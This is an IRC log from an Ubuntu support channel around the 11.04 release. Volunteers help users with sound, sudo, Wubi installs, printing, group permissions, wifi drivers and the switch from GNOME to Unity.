[08:24] <openbees> installed a new sound theme in ubuntu 11.04 for different warning and desktop-login and desktop-logout like sounds everything is fine except desktop-logout sound not working..i have desktop-logout sound in newly installed sound theme .....how can i fix this problem
[08:24] <Herbs> you mean gksudo?
[08:25] <gaurav_help> how i trace the which my application is connected with net or current activity of application
[08:25] <luqui> can anyone help?  how can i tell metacity not to start?
[08:25] <Joker_99> sudo -i
[08:25] <Joker_99> sudo su
[08:25] <bullgard4> openbees: Try to play that particualr file using aplay.
[08:25] <Joker_99> gksudo
[08:25] <Herbs> !elaborate gaurav_help
[08:25] <Joker_99> su
[08:25] <niklasfi> Herbs: no i mean `sudo apt-get install` for example
[08:26] <marenostrum> red, the sense of Web upgarade is having your settings on the new release automatically as far as possible.
[08:26] <Joker_99> whaat u mean nik?
[08:26] <purvesh> how to turn on advance graphic mode in ubuntu 11.04 may be it is in default normal mode after upgrading from 10.10 ?
[08:26] <Herbs> niklasfi do you get any error messages
[08:27] <niklasfi> Joker_99 i mean i open a gnome-terminal and enter my password and i get "sorry, try again" (wrong password)
[08:27] <openbees> bullgard4: ya that file is playing properly in /usr/sounds/ ...but i am getting logout sound of ubuntu sound theme
[08:27] <gaurav_help> i am using eclipse and i am updating my plugins i want 2 know from where eclipse is making connection . like netstat it shows me i want 2 see the details of that
[08:27] <Herbs> niklasfi but gnome3 should have no bearing on a shell
[08:27] <niklasfi> Joker_99: but i can log in if i press ctrl-alt-f1
[08:28] <NielsMkn> hey guys
[08:28] <niklasfi> and i can sudo there
[08:28] <freakynl> hmm /etc/rsyslog.d/50-default.conf contains no references to /var/log/messages whatsoever, only 2 other files in there ... 20-ufw.conf and postfix.conf (no number?), none of these define /var/log/messages, has it been deprecated or am I lacking config files?
[08:28] <marenostrum> Nielsen, Hi!
[08:28] <openbees> bullgard4:  any idea?
[08:28] <NielsMkn> I'm installing ubuntu via wubi but its taking a long time at 'creating virtual disk' step
[08:28] <Lungan> Having sound trouble. The sound work at my computer when it shows the "asus" logo, but then in ubuntu no sound works? no mute, and sounds on
[08:29] <Herbs> niklasfi can you ssh to the box with the same creds?
[08:29] <boomboorum> Is there any alternative to Gwibber?
[08:29] <Joker_99> u check caps and num lock?
[08:29] <bullgard4> openbees: Then I can give only a general advice yet: Try to establish the association between the logout event and triggering that particular sound file.
[08:29] <niklasfi> Herbs: yes
[08:29] <Joker_99> and u sure u have the right pass
[08:29] <Herbs> niklasfi hmm strange
[08:29] <gaurav_help> when i am updating my eclipse plugin it always get terminated at 49 % shows me fetching error
[08:29] <openbees> bullgard4: how can i do so?
[08:29] <freakynl> can someone on 11.04 (64 bit) server send me their (pref unmodified / default) contents of /etc/rsyslog.d?
[08:29] <NielsMkn> any idea whats wrong?
[08:30] <Joker_99> oooohhhhhh nik i know exactly what your talking about
[08:30] <niklasfi> Joker_99 i tried yesterday slept a night and tried again today... and i know thte passwords are identical .
[08:30] <Joker_99> yeah it started after the update
[08:30] <bullgard4> !sound | openbees
[08:30] <ubottu> openbees: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.
[08:30] <Herbs> niklasfi what happens if you enter run level 3 instead of gui can you suso then?
[08:31] <varun> hi friends,i want to know how to configure conky,i just installed conky,the conky screen is black,i dont know how to use,please help
[08:31] <Joker_99> i have that bug on my server back home i havent tackeled it yet cause i had to leave town shortly after i upgraded
[08:31] <niklasfi> Herbs: how do i run level3?
[08:31] <Herbs> init3
[08:31] <Herbs> or init 3
[08:32] <Xinux> Hola!
[08:32] <mtron> varun see http://www.webupd8.org/2009/05/how-to-install-and-configure-conky.html
[08:32] <marenostrum> Xinux, hi!
[08:33] <niklasfi> Herbs: you mean select shell at the login screen?
[08:34] <niklasfi> Herbs: that works
[08:34] <Herbs> niklasfi that will probably work Im used to servers not desktops though
[08:34] <abhinav_singh> is it necessary to purge openoffice before installing libre office
[08:34] <Herbs> niklasfi looks like an ubuntu bug then
[08:35] <Herbs> or gnome3 bug but why its messing with the terminal I have no idea
[08:35] <marenostrum> abhinav_singh, Not a must, for some time in the past I had both installed. But purge remove would be better not to interfere anything to Libre Office from Open Office settings or files etc.
[08:36] <marenostrum> abhinav_singh, In my opinion. I'm not an expert.
[08:36] <Herbs> niklasfi probably the strat up script and when it enters lvl 5
[08:36] <niklasfi> Herbs: well it works there
[08:37] <Lungan> Got no sound in 11.04?
[08:38] <abhinav_singh> i want to try libre office first and if suits me then i will uninstall openoffice marenostrum:
[08:39] <gaurav_help> how do i trace ip address through terminal
[08:39] <marenostrum> abhinav_singh, Then, do nothing to Open Office and plainly install Libre Office. After that, you may purge both and install what you like if you want a cleanly purged install.
[08:40] <aki_> hello
[08:40] <hateball> gaurav_help: What do you mean trace? mtr is a nice tool for traceroute
[08:40] <abhinav_singh> yup marenostrum
[08:41] <Stef> Hello, I get an "unable to mount cd, not authorized" error on my ltsp clients when I try to mount a cd, does anyone know how to fix this?
[08:41] <marenostrum> Lungan, I read your sound problem but can't say anything. I may advice to try it with the live CD and if works there -probably work- try to see what is different in your installation.
[08:41] <marenostrum> Lungan, Not a very sophisticated way, but sometimes works.
[08:41] <red> bullgard4: is there any info what the worst bugs are for now?
[08:41] <red> (apart from browsing the tracker)
[08:42] <purvesh> how to set Set the visual effects in ubuntu 11.04 does any one have idea ?
[08:42] <marenostrum> abhinav_singh, By the way, I can assure you that Libre Office is very very good. There's no reason to prefer Open Office. Don't afraid.
[08:43] <bullgard4> red I do not know what you refer to. I am lost.
[08:43] <BOBBY_> Hello, I want to install ubuntu as a dual boot with XP have run wubi twice, the first time I installed it on the same drive as XP but when I brought up ubuntu from the menu it said something about no root file so i tried again but gave it its own partion and I didnt even Get the menu. I uninstalled both times so what should I do now to get it working
[08:43] <red> >bullgard4| red: You should not. Better wait and see if the many bugs get fixed.
[08:43] <red> was refering to this :)
[08:44] <BOBBY_> Hello, I want to install ubuntu as a dual boot with XP have run wubi twice, the first time I installed it on the same drive as XP but when I brought up ubuntu from the menu it said something about no root file so i tried again but gave it its own partion and I didnt even Get the menu. I uninstalled both times so what should I do now to get it working
[08:44] <bullgard4> red I see. The worst bugs are in Unity. GNOME 3 is a project in progress and has many bugs as well. These 2 are the biggest culprits.
[08:44] <Joker_99> hey in one of the irc's its saying cannot paste to channel...?
[08:45] <Herbs> bobby_ sounds like wubi isnt setting the mount points I wont try to help as Ive never used it but might help someone who has
[08:45] <red> I was under the impression I could continue using Gnome 2 if Unity didnt work well for me?
[08:45] <tobapramudia> hiii people
[08:45] <bullgard4> red: Yes you can. Actually, I have done so too.
[08:45] <red> Ok good
[08:45] <marenostrum> BOBBY_, have you examine here: https://wiki.ubuntu.com/WubiGuide
[08:45] <BOBBY_> Herbs: what does that mean
[08:45] <DirtyDawg> Joker_99: maybee your nick isnt registered?
[08:45] <BOBBY_> ill have a look
[08:46] <Herbs> bobby_ it means it doesent know what to do with the file system
[08:46] <Jordan_U> BOBBY_: Don't use wubi. Install a normal dual boot by booting from the Ubuntu install CD and running the installer there.
[08:46] <BOBBY_> i cant find an option to do that
[08:47] <Jordan_U> BOBBY_: Do you know how to burn a .iso file to a CD?
[08:47] <marenostrum> BOBBY_, ıs it a must to use Wubi way? can't you give a try to CD dual-boot installation if you can't solve Wubi problem?
[08:47] <BOBBY_> Yes I have made a USB Pen but when I did wubi I erased it
[08:48] <Jordan_U> BOBBY_: Make another bootable flash drive with Ubuntu and boot from it to install Ubuntu to your hard drive.
[08:48] <red> Only time I've had problems installing from USB was when I checked the checbox to make it possible to save temp files on the USB stick
[08:48] <BOBBY_> But i dont want it to erase Xp
[08:48] <Jordan_U> BOBBY_: There are great step by step instructions @ http://www.ubuntu.com/download/ubuntu/download
[08:48] <Jordan_U> BOBBY_: It won't.
[08:48] <red> bobby_: It won't erase your XP
[08:48] <BOBBY_> Thanks
[08:48] <red> Unless you specify it to that it
[08:49] <marenostrum> Herbs, So, do you say that Wubi is something which can not be used? Weird. (I have no idea on Wubi.)
[08:49] <Jordan_U> BOBBY_: You're welcome.
[08:49] <ojii> Is there a way to replace the 'view photos' shortcut in the launcher with something else?
[08:49] <Herbs> marenostrum Ive never used wubi but I also rarely use gui apart from my desktop but would not trust anything that runs in windows
[08:50] <dijonyummy> if i install kubuntu on my 10.10 gome, how can i go back to gnome if i need to
[08:50] <ph88> i want to recover some files and i already have the byte offset ... now i want to do a raw read ... should i use dd, dd_rescue, savehd7, GNU ddrescue or dd_rhelp ??
[08:50] <dijonyummy> will it have a choice at the login screen, or more complicated than that
[08:50] <Joker_99> hey is the nick server up?
[08:51] <marenostrum> Herbs, me too :) But friends developing Wubi should konow something. Else, it would be a waste of time to develope it.
[08:51] <Herbs> marenostrum I totally agree but I have no experience with it sorr
[08:51] <Herbs> y
[08:53] <vega> dijonyummy: you can choose at login screen
[08:53] <miles__> Hello, I'm currently using the New Wave theme in Unity and the top panel has a black text on a black background, unreadable. How to fix this?
[08:54] <dijonyummy> vega: cool thanks!
[08:56] <casey> Does anyone know how to print borderless with custom sizes? Any program will work, I just want to know. I have an HP inkjet if that helps?
[08:57] <marenostrum> miles__, I'm on the default theme but I've just tried New Wave and didn't experience your problem. Maybe it helps to customize more after you switch to New Wave.
[08:58] <milen8204> what was the name of the tools for PC temperature observing ?
[08:58] <miles__> marenostrum, what do you mean by "customize more"?
[09:00] <marenostrum> miles__, Go to system settings > appearence. Choose the theme. Then there's a bullet at the bottom saying something as "customize" (mine is Turkish locale, I retranslate). From  there you can make some more settings as I can see. maybe you find something for the text colour etc.
[09:01] <Herbs> miles_ youve used windows before ?
[09:01] <casey> Does anyone know how to print borderless with custom sizes? Any program will work, I just want to know. I have an HP inkjet if that helps?
[09:02] <sdollins> Has anyone had issues with broadcom drivers after installing some recent updates?
[09:02] <sdollins> (using natty btw)
[09:02] <marenostrum> casey, I don't have a printer at the noment but what's the problen when -lets say- you try via Libre Office?
[09:02] <mgj> In 11.04, how do i change my workspace positioning? Default has a 2x2 grid, but i would much prefer a 1x4 row.
[09:02] <BrunoPE> sdollins, broadcom not but atheros yes
[09:03] <casey> marenostrum: the problem is I have a custom jpeg that I would like to print out. However, no matter what program I use, it always makes a border.
[09:03] <robin0800> casey,  you should find that in printer properties if your printer supports this
[09:03] <sdollins> Odd. It just completely screwed up earlier. I disabled them and after about 10 reboots it appears to be using the built in drivers without issue. BrunoPE.
[09:03] <Herbs> mgj right click preferences?
[09:03] <gartral> how come the ubuntu repos are feeding sooo slowly?
[09:03] <marenostrum> casey, hmmm. You say jpeg. I don't know that.
[09:03] <casey> robin0800: it's a 5.5 by 8.5 jpeg lol. Not very likely. I have looked there though.
[09:03] <mgj> herb, right click what?
[09:04] <casey> marenostrum: jpeg is an image filetype.
[09:04] <Herbs> gatral Ive noticed the gb repos are really slow try the main repos they max out for me
[09:04] <casey> marenostrum: I'm basically saying I have a picture that is a custom size.
[09:04] <gartral> !jpeg
[09:04] <robin0800> casey, have you been able to do this before?
[09:04] <miles__> marenostrum, that was a nice idea, however it doesn't seem to work either (and the theme has all its default colors)
[09:04] <Herbs> mgj the workspace
[09:04] <casey> robin0800: On windows I was able to, so I know my printer has the capability.
[09:04] <BrunoPE> sdollins, wait
[09:04] <bgoldsmith> greetings channel, I cannot create a file in a directory that has group write permissions for a group I belong to :-(
[09:04] <gartral> Herbs: how do i switch?
[09:05] <sdollins> BrunoPE: Probably unrelated but after installing some recent updates, my screen stays dim no matter what now :/
[09:05] <Herbs> system > administration software sources select main repos from drop down thats the quickest way
[09:06] <marenostrum> casey, have a look here: http://ubuntuforums.org/showthread.php?t=398506 Maybe not exactly the topic you want but it seems related and you can modify the solution to your needs.
[09:06] <sdollins> Okay uhhh I just noticed the battery/power thing in the indicator applets has disappeared :/
[09:06] <casey> marenostrum: let me give it a go. thanks for trying.
[09:07] <mgj> herbs, im sorry, i dont understand you. If i right click the actual workspace, i can change my wallpaper - thats about it. I want to modify the amount of workspaces i have and/or the ordering/layout of them
[09:07] <casey> marenostrum: I've actually already tried f-spot. Thanks for looking though
[09:07] <robin0800> casey, well I've just checked it is printer properties and it is the in the media size
[09:07] <casey> robin0800: let me take a look.
[09:07] <Herbs> mgj no the workspace section in th bottom right psnel
[09:07] <marenostrum> miles__, Are you on Natty? Was it a fresh install or do you have some older settings in your system?
[09:07] <mgj> Herbs, the bottom right panel does not exist in 11.04
[09:08] <bgoldsmith> drwxrwxr-x   6 root   webdev  4096 2011-05-03 10:59 srv    (these are the permissions for the /srv directory. I belong to the webdev group, but cannot create anything in the directory)
[09:08] <Herbs> mgj sorry Ive never used 11.04 or unity
[09:08] <mgj> ok, thanks anyway
[09:08] <gartral> [ot] 4:04.. time not found!
[09:08] <casey> robin0800: I have actually found this selection already. But have you found a way to actually put in values. All I can choose is custom and that is the extent of it :(.
[09:08] <marenostrum> casey, You're welcome. Those guys say that they do something to print borderless but I didn't do such a thing. Good luck.
[09:09] <Herbs> bgoldsmith its because root owns it
[09:09] <llutz> bgoldsmith: "id" as actual user lists webdev?
[09:09] <miles__> marenostrum, Natty, kept my /home partition from 10.04
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[09:09] <bgoldsmith> so if root owns a directory, the group permissions don't apply?
[09:10] <Herbs> bgoldsmith depens on the groups permissions
[09:10] <gartral> Herbs: even Main is feeding slowly, but faster than US
[09:10] <robin0800> casey mine has a whole selection with borderless in brackets beside them, but it does depend on the driver
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[09:10] <casey> robin0800: dang. Any other ideas up your sleeve?
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[09:11] <robin0800> casey, what driver are you using?
[09:11] <marenostrum> miles__, Can home has something to do with those settings? Maybe. What if you add a new user. And choose that theme for that user. I'm saying this because I don't experience the problem with that theme.
[09:11] <casey> robin0800: not sure. But I have an HP printer so definitely and HP lol.
[09:11] <marenostrum> miles__, Mine is a fresh install.
[09:12] <gartral> jussi: thank you
[09:12] <DocPlatypus> situation: box has been running 9.10 until a couple days ago, when I decided to finally upgrade to 10.04 LTS. ever since then I have had sound switching over to "dummy output" for no reason I can figure out. where to begin troubleshooting this and/or how do I get it back to my soundcard when it does? kernel -- 2.6.32-31-generic, audio -- 00:1f.5 Multimedia audio controller: Intel Corporation 82801AA AC'97 Audio Controller (rev
[09:12] <DocPlatypus> 02)
[09:12] <SuperLag> meganerd: you around?
[09:12] <bgoldsmith> llutz: id as actual user does not list webdev, but "groups" as actual user does.
[09:12] <llutz> bgoldsmith: logoff and relogin
[09:12] <tasslehoff> Any way to get gmail notifications from the indicator applet?
[09:12] <mgj> In 11.04, how do i change my workspace positioning? Default has a 2x2 grid, but i would much prefer a 1x4 row. As the bottom panel is removed in 11.04, i cannot find anywhere to change this
[09:12] <marenostrum> miles__, Can there be a hidden directory in /hme for personal preferences, from the past? Maybe deleting them?
[09:12] <robin0800> casey, have you got the best driver? hp should be well supported
[09:13] <gartral> DocPlatypus: I had the same problem with my intel audio chips.
[09:13] <casey> robin0800: how could I check?
[09:13] <robin0800> casey in printer properties
[09:13] <DocPlatypus> gartral: what'd you do to fix it or work around it?
[09:13] <Herbs> lutz reloging wont make a diff
[09:13] <Herbs> the dir is owened by root
[09:13] <casey> robin0800: ok so should it match my printer you're saying?
[09:13] <llutz> bgoldsmith: how did you add yourself to the webdev-group?
[09:14] <gartral> mgj: the fastes way would too be logout, click yor name, change the dropdown menu at the bottom too "Ubuntu Classic" log in and you have panels!
[09:14] <Herbs> this isnt desktop ubuntu
[09:14] <robin0800> casey yes and if you can't try hp's site
[09:14] <llutz> Herbs: the group has write-permissions, so what?
[09:14] <sdollins> I swear to $deity, I am going to scream. :( Everytime I reboot something else breaks lol..
[09:15] <Herbs> bgoldsmith if you want ownership log in as rott and chown user:user dir
[09:15] <quiescens> they don't want ownership
[09:15] <llutz> Herbs: read this again <bgoldsmith> drwxrwxr-x   6 root   webdev  4096 2011-05-03 10:59 srv
[09:15] <quiescens> they want the group to be able to write to it, which it should if they are properly in the group
[09:15] <Herbs> llutz and that would depend on the group permissions
[09:15] <casey> robin0800: I'm trying right now :).
[09:15] <mgj> gartral, heh, but i cannot do that when 11.10 comes out, i should probably learn how to do it with unity too =)
[09:16] <marenostrum> sdollins, What's broken lastly?
[09:16] <llutz> Herbs: do you need further explanation of that line? owner root, group webdev WITH write-perm
[09:16] <Herbs> llutz no but I think you do
[09:16] <casey> robin0800: I found a CUPS version which seems to be much better. However, I don't quite see the use of their "custom" sizes. Like in the other one.
[09:17] <sdollins> Well, wifi randomly decides to work, this time i have no borders around windows ( can't remember the technical name)
[09:17] <sdollins> Everything went to hell after I installed some updates earlier.
[09:17] <robin0800> casey, as long as you can select borderless does it matter?
[09:17] <SuperLag> Anyone here ever set up an Ubuntu box as a wireless access point?
[09:17] <bgoldsmith> llutz: thanks! logging off and logging back in solved the problem. I can now write to the directory
[09:18] <SuperLag> I know meganerd has, but he's not around - it seems.
[09:18] <llutz> bgoldsmith: you always have to relogin after changing your groups to make the change active
[09:18] <casey> robin0800: Well I don't have to many borderless options. And the major problem is it's an akward size: 5.5" x 8.5"
[09:18] <sdollins> Woo! It's all working now. - reboot.
[09:18] <marenostrum> sdollins, On maverick on on Natty? (beginning of the mess)
[09:18] <gartral> mgj: the fastes way would too be logout, click yor name, change the dropdown menu at the bottom too "Ubuntu Classic" log in and you have panels!
[09:19] <robin0800> casey, do hp have linux drivers for your printer?
[09:19] <mathews> any video converter to suggest to make mp4 for Nokia E71
[09:19] <mgj> gartral, thats cheating
[09:19] <pennnn> hi
[09:19] <sdollins> I was on maverick, I upgraded to natty a couple days ago it went to hell but started working right after a fight, and after some updates today it's even worse.
[09:19] <pennnn> wquestion
[09:19] <marenostrum> sdollins, ıs it OK now? After reboot?
[09:19] <casey> robin0800: I believe I did download an hp version when you pointed that out early. It comes from CUPS.
[09:19] <SuperLag> sdollins: good to know. I was thinking of upgrading my Maverick system to Natty. Now I'll wait. :)
[09:19] <pennnn> question
[09:20] <Liera> How do I clear the most recently used program list in unity?
[09:20] <Al_nz1> is there a way when doing a lot of copy n pasting to say, use F1-F10 to assign multiple clip boards which F1 - F10 paste data?
[09:20] <gartral> mgj: not really.. considering that Unity doesn't have any facilities too change the number/layout of workspaces
[09:20] <sdollins> Nope marenostrum
[09:20] <casey> robin0800: One thing that is driving me nuts is that f-spot shows major potential for working, however it always crashes when I try to print. Any ideas on that?
[09:20] <sdollins> I rebooted and wifi doesn't work lol
[09:20] <bgoldsmith> llutz: hmmm what are the data structures/files that get updated on reboot?
[09:20] <sdollins> It doesn't seem to matter if the proprietary broadcom drivers are enabled or not, it just randomly decides to work.
[09:20] <llutz> bgoldsmith: its the login shell reading the new environment
[09:20] <mgj> gartral, really ?! are you sure there is no such facility?
[09:21] <Herbs> sdollins reboot your router first before wasting time
[09:21] <robin0800> casey, in job options I've got scale to fit
[09:21] <sdollins> My router works fine.
[09:21] <sdollins> I've already tested it.
[09:21] <gartral> mgj: Unity is QUITE limited when compared too Gnome
[09:21] <marenostrum> sdollins, I have a report from my brother-in-law. he's on Maverick and says that wireless is broken. It interrupts randomly. I'll go and see. Your sitiation sounded similar.
[09:21] <pennnn> question
[09:21] <casey> robin0800: I see that as well. Unfortunately no luck with that so far.
[09:21] <pennnn> question
[09:21] <bgoldsmith> llutz: are the groups that a user belong to a part of the environment?
[09:21] <Herbs> by not connecting to the internet?
[09:21] <mgj> My god, that is beyond retarded. Remind me again why this change to unity was a great idea?
[09:21] <pennnn> i dont lilke unity, what alterantives are there
[09:21] <quiescens> bgoldsmith: with regards to group membership, its not rebooting as such, but your group membership is read when login first applies your user, and then every process from there on inherits those groups
[09:22] <sdollins> pennnn: KDE, Xfce, etc.
[09:22] <gartral> pennnn: logout, click name, dropdown box at the bottom can be changed too Ubuntu Classic. I use that
[09:22] <pennnn> sdollns: cant i go on usinggnome 2 !! in 11.10 ?
[09:22] <llutz> bgoldsmith: kind of, all those settings were read when you login.
[09:22] <sdollins> pennnn: they're removing the classic desktop in 11.10
[09:22] <mathews> pennnn: u can select ubuntu cliassic from login window
[09:22] <gartral> pennnn: read my instructions
[09:23] <Liera> Can anyone show me how to clear recently used program in the list in unity? like Clear Recently Items in gnome!
[09:23] <marenostrum> pennnn, And of course, there's "ubuntu Classical" interface which is mainly Gnome2 interface. Its already installed. You can chose it from login screen.
[09:23] <gartral> sdollins: they can remove from the pre-installed envirnment, but I will never give up my gnome!
[09:23] <llutz> bgoldsmith: tbh, i can't explain that in details off hand.
[09:23] <robin0800> gar
[09:24] <casey> robin0800: gar?
[09:24] <sdollins> gartral: I feel the same way. I don't like GNOME-Shell, Unity, KDE, or any other the others I've tried. At this point, I'm about ready to cough up cash for a macbook pro lol.
[09:24] <daxroc> Any one here using an nvidia quadro (nvs 295) or like with a dual monitor setup on 11.04 ?
[09:24] <pennnn> they REMOVE !!
[09:24] <jiltdil> which is better unity or gnome?
[09:24] <sdollins> marenostrum: any luck with that?
[09:24] <pennnn> gnome classic
[09:24] <pennnn> from 11.10
[09:24] <robin0800> gartral, unity 3d and unity 2d in 11.10
[09:24] <mathews> any video converter  to make mp4 for Nokia E71
[09:24] <Herbs> bgoldsmith lets just say the perms on that box are to lax
[09:24] <haoron> W:Failed to fetch bzip2:/var/lib/apt/lists/partial/archive.ubuntu.com_ubuntu_dists_natty_universe_source_Sources  Hash Sum mismatch
[09:24] <haoron> , W:Failed to fetch bzip2:/var/lib/apt/lists/partial/archive.ubuntu.com_ubuntu_dists_natty_universe_binary-i386_Packages  Hash Sum mismatch
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[09:24] <haoron> , E:Some index files failed to download. They have been ignored, or old ones used instead.
[09:24] <FloodBot1> haoron: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:24] <pennnn> gnome classic
[09:24] <sdollins> I reboot over and over. Sometimes it works, sometimes it doesnt. ._.
[09:24] <pennnn> they REMOVE !!
[09:24] <pennnn> from 11.10
[09:25] <bgoldsmith> llutz,quiescens: hmm ... so the groups command just reads the /etc/groups file.
[09:25] <Herbs> I wouldnt let your group have permission changes
[09:25] <marenostrum> sdollins, He doesn't know GNU/Linux well. I should pay a visit. I don't know what is broken.
[09:25] <pennnn> they REMOVE !!
[09:25] <pennnn> gnome classic
[09:25] <pennnn> from 11.10
[09:25] <bgoldsmith> herbs: so what would be a good setting for /srv/
[09:25] <llutz> bgoldsmith: yes but it won't check if those entries are active. "id" does
[09:25] <jiltdil> pennn:please stop repeating
[09:25] <robin0800> pennnn, yes
[09:25] <sdollins> I really regret upgrading to natty :/
[09:25] <Herbs> root:root
[09:25] <pennnn> can i install it
[09:25] <casey> robin0800: any other ideas?
[09:25] <sdollins> my SO talked me into it really.
[09:25] <pennnn> they REMOVE it
[09:26] <gartral> sdollins: why?
[09:26] <sdollins> pennnn: I imagine someone will provide a way to put gnome2 back.
[09:26] <sdollins> gartral: everything keeps breaking!
[09:26] <mathews> pennnn: dont worry, u can still install gnome by PPA
[09:26] <robin0800> casey, hp site linux support?
[09:26] <pennnn> cool
[09:26] <bgoldsmith> herbs: what if the webdev group wants to add a new website inside /srv (webdev = webadmin group)
[09:26] <casey> robin0800: Alright thanks for your help.
[09:26] <OerHeks> pennnn no they don't. logout, select your name, then language and GDM selection will appear
[09:26] <marenostrum> pennnn, Wer'll find a solution. :) We have time for 11.10. For now, we have Classic at hand. No problem. :)
[09:26] <gartral> sdollins: i haven't noticed any breakage, but then again, i did a clean install.
[09:26] <pennnn> ok
[09:26] <pennnn> thanks
[09:26] <duende> hi
[09:26] <Herbs> so what does webdav need to do?
[09:27] <sdollins> I don't have time to do a clean install really but it looks like I have no other choice.
[09:27] <quiescens> bgoldsmith: no, the groups command lists the groups that the process is in (which should be whatever it inherits from the shell or whatever you used to run it)
[09:27] <daxroc> I'm not impresed with natty, It's very primitive for a mainstream release
[09:27] <herol3oy> I just downloaded "ubuntu-11.04-alternate-i386.iso" to upgrade my ubuntu10.10 without any downloading, but when I mounted it and typed "gksu "sh /media/cdrom/cdromupgrade", it wanted to connect to internet and download all the packages again? how can I upgrade my ubuntu10.10 to 11.4 without any downloading?
[09:27] <duende> some have a problem in 11.04 with video and VIA ?? reboot X
[09:27] <gartral> granted, the Natty are SLOOOOOW right now 'cause all the upgrades
[09:27] <pennnn> but is better to the another desktop environment
[09:27] <pennnn> because ppa arent so good
[09:28] <sdollins> How did a bug like being unable to rearrange the windows in the windows list applet not get fixed?
[09:28] <pennnn> but is better to the another desktop environment
[09:28] <gartral> daxroc: why do you say that?
[09:28] <pennnn> because ppa are not so good
[09:28] <marenostrum> sdollins, Try to figure out the problem and bug report if you can do. But, clean install is the solution, of course. :)
[09:28] <sdollins> It was reported in early January according to launchpad.
[09:28] <bgoldsmith> quiescens:  the "id" command did not show the group change before re-login, but the "groups" command did
[09:28] <Herbs> sdollins because its a minor bug
[09:28] <herol3oy> no idea?
[09:28] <pennnn> they REMOVE !!
[09:28] <bgoldsmith> herbs: the webdev group needs to be able to create directories inside /srv
[09:28] <pennnn> gnome classic
[09:28] <pennnn> from 11.10
[09:28] <sdollins> Minor or not, i would consider it to be important functionality.
[09:29] <herol3oy> still no answer?
[09:29] <gartral> pennnn: that's a whole 6 months away.
[09:29] <marenostrum> sdollins, Which one? wireless thing? Can you supply me with the address?
[09:29] <pennnn> is it better to change
[09:29] <Herbs> so make owenership of w/srv webdav:webdav
[09:29] <sdollins> The issue with the window list.
[09:29] <xs3ns3> so what we use instead of unity, since my laptop says does not support unity?
[09:29] <pennnn> to kde
[09:29] <sdollins> I haven't found anything in relation to the wireless issue.
[09:29] <dijonyummy> i think i may try 11.04 in a month with gnome classic, then when 11.10 comes around not sure maybe go to kde, or other distro
[09:29] <herol3oy> I just downloaded "ubuntu-11.04-alternate-i386.iso" to upgrade my ubuntu10.10 without any downloading, but when I mounted it and typed "gksu "sh /media/cdrom/cdromupgrade", it wanted to connect to internet and download all the packages again? how can I upgrade my ubuntu10.10 to 11.4 without any downloading?
[09:29] <pennnn> they REMOVE !!
[09:29] <pennnn> gnome classic
[09:29] <marenostrum> sdollins, I see.
[09:29] <pennnn> from 11.10
[09:29] <Starminn> pennnn: That is a personal choice which you must make yourself. Try it out and see if you like it. Also, that is off-topic for here.
[09:29] <pennnn> is it better to change
[09:29] <sdollins> It didn't start until updates I installed today and I had just updated like 1 day ago I suspect it's not out there.
[09:29] <FloodBot1> pennnn: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:30] <pennnn> PPAs are incompatible
[09:30] <quiescens> bgoldsmith: its not *really* based relogging, you can relog and the process you are trying to fix could still have the wrong permissions
[09:30] <Starminn> pennnn: Pleas eonctinue this in #ubuntu-offtopic unless you have a genuine Ubuntu support question
[09:30] <pennnn> are they ?
[09:30] <pennnn> PPAs are incompatible
[09:30] <pennnn> are they ?
[09:30] <FloodBot1> pennnn: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:30] <Starminn> !enter | pennnn
[09:30] <ubottu> pennnn: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[09:30] <quiescens> bgoldsmith: the groups list is applied per process, you could technically end up with one process using one list of group permissions, and another process using a different set
[09:30] <pennnn> PPAs are incompatible
[09:30] <daxroc> gartral: Lots of things are missing. decent monitor detection, simple customisation for little anoyances of unity. don't get me wrong it's great but lacks a complete feature set I expected
[09:31] <herol3oy> no answer  yet?
[09:31] <pennnn> herol3oy STOP IT
[09:31] <herol3oy> stop what?
[09:31] <sdollins> marenostrum: I can't remember if you said or not but is he using broadcom drivers?
[09:31] <pennnn> spamming around
[09:31] <Starminn> herol3oy: You're not doing anything wrong.
[09:31] <xs3ns3> this new release, personally i dont like, first got hang up after the install, was not able to boot (so i had to delete the old one......finally manage to install this natty versin just to find out its like a damm vista
[09:31] <sdollins> pennnn: you're doing the same thing so I wouldn't complain.
[09:31] <herol3oy> :O i'm not spaning
[09:31] <Starminn> pennnn: Stop what you're doing. Now.
[09:32] <xs3ns3> where can i take off that bloody bar
[09:32] <pennnn> starminn i report you now
[09:32] <marenostrum> pennnn, 1- Don't flood. 2- pps is ppa. No one says that PPAs will be compatible. Ask that PPA!s owner.
[09:32] <Starminn> pennnn: Go for it, buddy.
[09:32] <herol3oy> pennnn:   not to ask question you mean?
[09:32] <peteraz> i dont know if anyone else has the same problem - after upgrading to 11.04 on my netbook all i can see in GUI is the background and the coursor. If i go ctr alt f2 i can go to console but i do not know how to fix my GUI
[09:32] <pennnn> [10:31] <herol3oy> no answer  yet?
[09:32] <pennnn> !wait
[09:32] <ubottu> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[09:32] <pennnn> !ask
[09:32] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[09:32] <genewitch> herol3oy: put it on a usb drive and boot with it in
[09:32] <marenostrum> sdollins, Most probably. Yes. :)
[09:32] <xs3ns3> u ubuntu developters, want me to go back to windows or what
[09:32] <gartral> daxroc: those two examples are driver and Unity related. I notice the opasite, things worrk better in Natty, it's also faster. but to each they're own
[09:32] <sdollins> marenostrum: It appears after I upgraded to natty it stopped using the broadcom drivers but they stayed enabled.
[09:33] <ultrav1olet> I want to compile an application from sources and it requires curl devel library and includes, debian has two of them libcurl4-gnutls-dev and libcurl4-openssl-dev
[09:33] <jack123> i am backkkkkkkkkkkkk
[09:33] <ultrav1olet> which one I have to choose?
[09:33] <jack123> damn
[09:33] <pennnn> they REMOVE !!
[09:33] <marenostrum> sdollins, At first, I have had to install some 3rd party driver for him. I don't remember the name.
[09:33] <xs3ns3> whats up with that new bars, pointless and i cant customize that properly
